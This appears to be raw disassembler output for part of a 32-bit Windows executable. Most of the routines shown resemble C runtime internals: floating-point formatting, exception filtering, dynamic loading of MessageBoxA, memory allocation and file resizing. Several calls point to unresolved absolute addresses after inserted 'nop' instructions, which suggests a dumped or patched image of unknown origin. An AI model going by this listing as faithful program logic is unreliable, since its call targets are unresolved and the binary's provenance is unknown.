arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_424B39:				; CODE XREF: sub_424B03+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_424B39
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_424B6B:				; CODE XREF: sub_424B03+86j
		cmp	ebx, edi
		jl	short loc_424B7E
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_424B85
; ---------------------------------------------------------------------------


loc_424B7E:				; CODE XREF: sub_424B03+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_424B85:				; CODE XREF: sub_424B03+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_424B6B
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424B03	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424B90	proc near		; CODE XREF: sub_424CFC+Dp
					; sub_424D12+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_424BFD
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_424AE8
		test	eax, eax
		pop	ecx
		jnz	loc_424CBC
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424ADC
		pop	ecx


loc_424BF5:				; CODE XREF: sub_424B90+E4j
		push	2


loc_424BF7:				; CODE XREF: sub_424B90+110j
		pop	eax
		jmp	loc_424CBE
; ---------------------------------------------------------------------------


loc_424BFD:				; CODE XREF: sub_424B90+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_424AC1
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424A35
		add	esp, 10h
		test	eax, eax
		jz	short loc_424C1E
		inc	ebx


loc_424C1E:				; CODE XREF: sub_424B90+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_424C36
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424ADC
		pop	ecx
		jmp	short loc_424C72
; ---------------------------------------------------------------------------


loc_424C36:				; CODE XREF: sub_424B90+98j
		cmp	ebx, eax
		jg	short loc_424C79
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424AC1
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_424B03
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424A35
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424B03
		add	esp, 20h


loc_424C72:				; CODE XREF: sub_424B90+A4j
		xor	esi, esi
		jmp	loc_424BF5
; ---------------------------------------------------------------------------


loc_424C79:				; CODE XREF: sub_424B90+A8j
		cmp	ebx, [edi]
		jl	short loc_424CA5
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424ADC
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424B03
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_424BF7
; ---------------------------------------------------------------------------


loc_424CA5:				; CODE XREF: sub_424B90+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_424B03
		pop	ecx
		pop	ecx


loc_424CBC:				; CODE XREF: sub_424B90+55j
		xor	eax, eax


loc_424CBE:				; CODE XREF: sub_424B90+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_424CED
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_424CF7
; ---------------------------------------------------------------------------


loc_424CED:				; CODE XREF: sub_424B90+14Ej
		cmp	edi, 20h
		jnz	short loc_424CF7
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_424CF7:				; CODE XREF: sub_424B90+15Bj
					; sub_424B90+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424B90	endp


; =============== S U B	R O U T	I N E =======================================



sub_424CFC	proc near		; CODE XREF: sub_424D28+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43D7F8
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424B90
		add	esp, 0Ch
		retn
sub_424CFC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D12	proc near		; CODE XREF: sub_424D55+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43D810
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424B90
		add	esp, 0Ch
		retn
sub_424D12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424D28	proc near		; CODE XREF: sub_42223B+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4254A2
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424CFC
		add	esp, 24h
		leave
		retn
sub_424D28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424D55	proc near		; CODE XREF: sub_42223B+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4254A2
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424D12
		add	esp, 24h
		leave
		retn
sub_424D55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424D82	proc near		; CODE XREF: sub_422279+65p
					; sub_42237D+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_424DBF
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_424DA5:				; CODE XREF: sub_424D82+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_424DB1
		movsx	edx, dl
		inc	ecx
		jmp	short loc_424DB4
; ---------------------------------------------------------------------------


loc_424DB1:				; CODE XREF: sub_424D82+27j
		push	30h
		pop	edx


loc_424DB4:				; CODE XREF: sub_424D82+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_424DA5
		mov	edx, [ebp+arg_8]


loc_424DBF:				; CODE XREF: sub_424D82+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_424DD8
		cmp	byte ptr [ecx],	35h
		jl	short loc_424DD8


loc_424DCB:				; CODE XREF: sub_424D82+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_424DD6
		mov	byte ptr [eax],	30h
		jmp	short loc_424DCB
; ---------------------------------------------------------------------------


loc_424DD6:				; CODE XREF: sub_424D82+4Dj
		inc	byte ptr [eax]


loc_424DD8:				; CODE XREF: sub_424D82+42j
					; sub_424D82+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_424DE2
		inc	dword ptr [edx+4]
		jmp	short loc_424DF4
; ---------------------------------------------------------------------------


loc_424DE2:				; CODE XREF: sub_424D82+59j
		push	edi
		call	sub_41B9C0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_41D670
		add	esp, 10h


loc_424DF4:				; CODE XREF: sub_424D82+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424D82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424DF9	proc near		; CODE XREF: sub_422279+3Fp
					; sub_42237D+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424E5D
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_4DBFB8
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_425973
		mov	dword_4DBFE0, eax
		add	esp, 18h
		movsx	eax, byte_4DBFBA
		mov	dword_4DBFD8, eax
		pop	edi
		movsx	eax, word_4DBFB8
		mov	dword_4DBFDC, eax
		mov	dword_4DBFE4, offset dword_4DBFBC
		mov	eax, offset dword_4DBFD8
		pop	esi
		leave
		retn
sub_424DF9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424E5D	proc near		; CODE XREF: sub_424DF9+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_424EAB
		cmp	ebx, edi
		jz	short loc_424EA4
		lea	edi, [ecx+3C00h]
		jmp	short loc_424ECC
; ---------------------------------------------------------------------------


loc_424EA4:				; CODE XREF: sub_424E5D+3Dj
		mov	edi, 7FFFh
		jmp	short loc_424ECC
; ---------------------------------------------------------------------------


loc_424EAB:				; CODE XREF: sub_424E5D+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_424EC3
		cmp	edx, ebx
		jnz	short loc_424EC3
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_424F0E
; ---------------------------------------------------------------------------


loc_424EC3:				; CODE XREF: sub_424E5D+52j
					; sub_424E5D+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_424ECC:				; CODE XREF: sub_424E5D+45j
					; sub_424E5D+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_424EE4:				; CODE XREF: sub_424E5D+A6j
		test	ecx, esi
		jnz	short loc_424F05
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_424EE4
; ---------------------------------------------------------------------------


loc_424F05:				; CODE XREF: sub_424E5D+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_424F0E:				; CODE XREF: sub_424E5D+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424E5D	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_41E2C9
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_424F1C	proc near		; DATA XREF: ___:0043D438o
					; ___:0043DB78o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_424F3F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_424F3F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_424F3F
		jmp	sub_422DFC
; ---------------------------------------------------------------------------


loc_424F3F:				; CODE XREF: sub_424F1C+Dj
					; sub_424F1C+13j ...
		mov	eax, dword_4DBFE8
		test	eax, eax
		jz	short loc_424F5C
		push	eax
		call	sub_424FB8
		test	eax, eax
		pop	ecx
		jz	short loc_424F5C
		push	esi
		call	dword_4DBFE8
		jmp	short loc_424F5E
; ---------------------------------------------------------------------------


loc_424F5C:				; CODE XREF: sub_424F1C+2Aj
					; sub_424F1C+35j
		xor	eax, eax


loc_424F5E:				; CODE XREF: sub_424F1C+3Ej
		pop	esi
		retn	4
sub_424F1C	endp

; ---------------------------------------------------------------------------
word_424F62	dw 1C68h		; DATA XREF: ___:00429024o
dword_424F64	dd 0E800424Fh, 21DB5AEh, 0BFE8A390h, 0FFC3004Dh, 4DBFE835h
					; DATA XREF: ___:0042903Co
		dd 0B59CE800h, 0C390021Dh

; =============== S U B	R O U T	I N E =======================================



sub_424F80	proc near		; CODE XREF: sub_422651+6Bp
					; sub_422B62+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 2600000h
		test	eax, eax
		jz	short loc_424F98
		xor	esi, esi


loc_424F98:				; CODE XREF: sub_424F80+14j
		mov	eax, esi
		pop	esi
		retn
sub_424F80	endp


; =============== S U B	R O U T	I N E =======================================



sub_424F9C	proc near		; CODE XREF: sub_422B62+73p
					; sub_422B62+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 2660761h
		test	eax, eax
		jz	short loc_424FB4
		xor	esi, esi


loc_424FB4:				; CODE XREF: sub_424F9C+14j
		mov	eax, esi
		pop	esi
		retn
sub_424F9C	endp


; =============== S U B	R O U T	I N E =======================================



sub_424FB8	proc near		; CODE XREF: sub_422B62+15Bp
					; sub_424F1C+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		nop
		call	near ptr 25F0B08h
		test	eax, eax
		jz	short loc_424FCC
		xor	esi, esi


loc_424FCC:				; CODE XREF: sub_424FB8+10j
		mov	eax, esi
		pop	esi
		retn
sub_424FB8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_422DFC


loc_424FD0:				; CODE XREF: sub_422DFC:loc_422E4Dj
		push	0Ah
		call	sub_423DD1
		push	16h
		call	sub_425C06
		pop	ecx
		pop	ecx
		push	3
		call	sub_41C1A2
; END OF FUNCTION CHUNK	FOR sub_422DFC

; =============== S U B	R O U T	I N E =======================================



sub_424FE7	proc near		; CODE XREF: ___:004236A6p

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_424FF8
		add	esp, 0Ch
		retn
sub_424FE7	endp


; =============== S U B	R O U T	I N E =======================================



sub_424FF8	proc near		; CODE XREF: sub_424FE7+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_4DD261[eax], cl
		jnz	short loc_425025
		cmp	[esp+arg_4], 0
		jz	short loc_42501E
		movzx	eax, word_43CE82[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_425020
; ---------------------------------------------------------------------------


loc_42501E:				; CODE XREF: sub_424FF8+16j
		xor	eax, eax


loc_425020:				; CODE XREF: sub_424FF8+24j
		test	eax, eax
		jnz	short loc_425025
		retn
; ---------------------------------------------------------------------------


loc_425025:				; CODE XREF: sub_424FF8+Fj
					; sub_424FF8+2Aj
		push	1
		pop	eax
		retn
sub_424FF8	endp


; =============== S U B	R O U T	I N E =======================================



sub_425029	proc near		; CODE XREF: sub_423DD1+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_4DBFEC, ebx
		push	esi
		push	edi
		jnz	short loc_425078
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 26A0CBDh
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4250AE
		mov	esi, dword_4270C4
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi
		test	eax, eax
		mov	dword_4DBFEC, eax
		jz	short loc_4250AE
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_4DBFF0, eax
		call	esi
		mov	dword_4DBFF4, eax


loc_425078:				; CODE XREF: sub_425029+Bj
		mov	eax, dword_4DBFF0
		test	eax, eax
		jz	short loc_425097
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_425097
		mov	eax, dword_4DBFF4
		test	eax, eax
		jz	short loc_425097
		push	ebx
		call	eax
		mov	ebx, eax


loc_425097:				; CODE XREF: sub_425029+56j
					; sub_425029+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_4DBFEC


loc_4250AA:				; CODE XREF: sub_425029+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4250AE:				; CODE XREF: sub_425029+1Cj
					; sub_425029+33j
		xor	eax, eax
		jmp	short loc_4250AA
sub_425029	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4250B2	proc near		; CODE XREF: sub_42413E+22p
					; sub_42413E+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_4250D3
		test	esi, esi
		jnz	short loc_4250CD
		push	1
		pop	esi


loc_4250CD:				; CODE XREF: sub_4250B2+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_4250D3:				; CODE XREF: sub_4250B2+12j
					; sub_4250B2+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_425132
		mov	eax, dword_4DD388
		cmp	eax, 3
		jnz	short loc_4250FE
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DD380
		ja	short loc_42511D
		push	eax
		call	sub_41EA6B
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_425148
		jmp	short loc_42511D
; ---------------------------------------------------------------------------


loc_4250FE:				; CODE XREF: sub_4250B2+30j
		cmp	eax, 2
		jnz	short loc_42511D
		cmp	esi, dword_43CE74
		ja	short loc_42511D
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41F50E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_42515C


loc_42511D:				; CODE XREF: sub_4250B2+3Bj
					; sub_4250B2+4Aj ...
		push	esi
		push	8
		push	dword_4DD384
		nop
		call	near ptr 27C0000h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_425156


loc_425132:				; CODE XREF: sub_4250B2+26j
		cmp	dword_4DBE48, 0
		jz	short loc_425156
		push	esi
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jz	short loc_42515F
		jmp	short loc_4250D3
; ---------------------------------------------------------------------------


loc_425148:				; CODE XREF: sub_4250B2+48j
		push	[ebp+arg_0]


loc_42514B:				; CODE XREF: sub_4250B2+ABj
		push	0
		push	edi
		call	sub_41BF70
		add	esp, 0Ch


loc_425156:				; CODE XREF: sub_4250B2+7Ej
					; sub_4250B2+87j
		mov	eax, edi


loc_425158:				; CODE XREF: sub_4250B2+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42515C:				; CODE XREF: sub_4250B2+69j
		push	esi
		jmp	short loc_42514B
; ---------------------------------------------------------------------------


loc_42515F:				; CODE XREF: sub_4250B2+92j
		xor	eax, eax
		jmp	short loc_425158
sub_4250B2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4241E3


loc_425163:				; CODE XREF: sub_4241E3+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_4DD020, esi
		jle	short loc_4251B6


loc_425172:				; CODE XREF: sub_4241E3+FD1j
		mov	eax, dword_4DC01C
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_4251AD
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_425191
		push	eax
		call	sub_41BA3B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_425191
		inc	edi


loc_425191:				; CODE XREF: sub_4241E3+F9Fj
					; sub_4241E3+FABj
		cmp	esi, 14h
		jl	short loc_4251AD
		mov	eax, dword_4DC01C
		push	dword ptr [eax+esi*4]
		call	sub_41BA91
		mov	eax, dword_4DC01C
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_4251AD:				; CODE XREF: sub_4241E3+F99j
					; sub_4241E3+FB1j
		inc	esi
		cmp	esi, dword_4DD020
		jl	short loc_425172


loc_4251B6:				; CODE XREF: sub_4241E3+F8Dj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_4241E3

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4251BB	proc near		; CODE XREF: sub_42423B+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41C500
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_4DD140
		jnb	loc_4252F0
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DD040[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_4252F0
		push	1
		push	esi
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_4252FA
		push	2
		push	esi
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_4252FA
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_42529D
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_41BF70


loc_425240:				; DATA XREF: ___:off_438CB8o
		push	8000h
		push	ebx
		call	sub_425D78
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_425251:				; CODE XREF: sub_4251BB+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_42525C
		mov	eax, edi


loc_42525C:				; CODE XREF: sub_4251BB+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_4230FB
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42527A
		sub	edi, eax
		test	edi, edi
		jle	short loc_425290
		jmp	short loc_425251
; ---------------------------------------------------------------------------


loc_42527A:				; CODE XREF: sub_4251BB+B5j
		cmp	dword_4DBDE0, 5
		jnz	short loc_42528D
		mov	dword_4DBDDC, 0Dh


loc_42528D:				; CODE XREF: sub_4251BB+C6j
		or	esi, 0FFFFFFFFh


loc_425290:				; CODE XREF: sub_4251BB+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_425D78
		pop	ecx
		pop	ecx
		jmp	short loc_4252DD
; ---------------------------------------------------------------------------


loc_42529D:				; CODE XREF: sub_4251BB+71j
		jge	short loc_4252DD
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_422F09
		push	ebx
		call	sub_4240AA
		add	esp, 10h
		push	eax
		nop
		call	near ptr 25F0000h
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4252DD
		mov	dword_4DBDDC, 0Dh
		nop
		call	near ptr 2680C22h
		mov	dword_4DBDE0, eax


loc_4252DD:				; CODE XREF: sub_4251BB+E0j
					; sub_4251BB:loc_42529Dj ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_4252FD
; ---------------------------------------------------------------------------


loc_4252F0:				; CODE XREF: sub_4251BB+1Aj
					; sub_4251BB+36j
		mov	dword_4DBDDC, 9


loc_4252FA:				; CODE XREF: sub_4251BB+4Ej
					; sub_4251BB+63j
		or	eax, 0FFFFFFFFh


loc_4252FD:				; CODE XREF: sub_4251BB+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_4251BB	endp


; =============== S U B	R O U T	I N E =======================================



sub_425301	proc near		; CODE XREF: sub_4249DF+2Bp
					; sub_4249DF+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_425317
		cmp	ecx, esi
		jnb	short loc_42531A


loc_425317:				; CODE XREF: sub_425301+10j
		push	1
		pop	eax


loc_42531A:				; CODE XREF: sub_425301+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_425301	endp


; =============== S U B	R O U T	I N E =======================================



sub_425322	proc near		; CODE XREF: sub_4253DB+40p
					; sub_4253DB+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_425301
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425354
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_425301
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425354
		inc	dword ptr [esi+8]


loc_425354:				; CODE XREF: sub_425322+19j
					; sub_425322+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_425301
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42536C
		inc	dword ptr [esi+8]


loc_42536C:				; CODE XREF: sub_425322+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_425301
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_425322	endp


; =============== S U B	R O U T	I N E =======================================



sub_425380	proc near		; CODE XREF: sub_4253DB+30p
					; sub_4253DB+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_425380	endp


; =============== S U B	R O U T	I N E =======================================



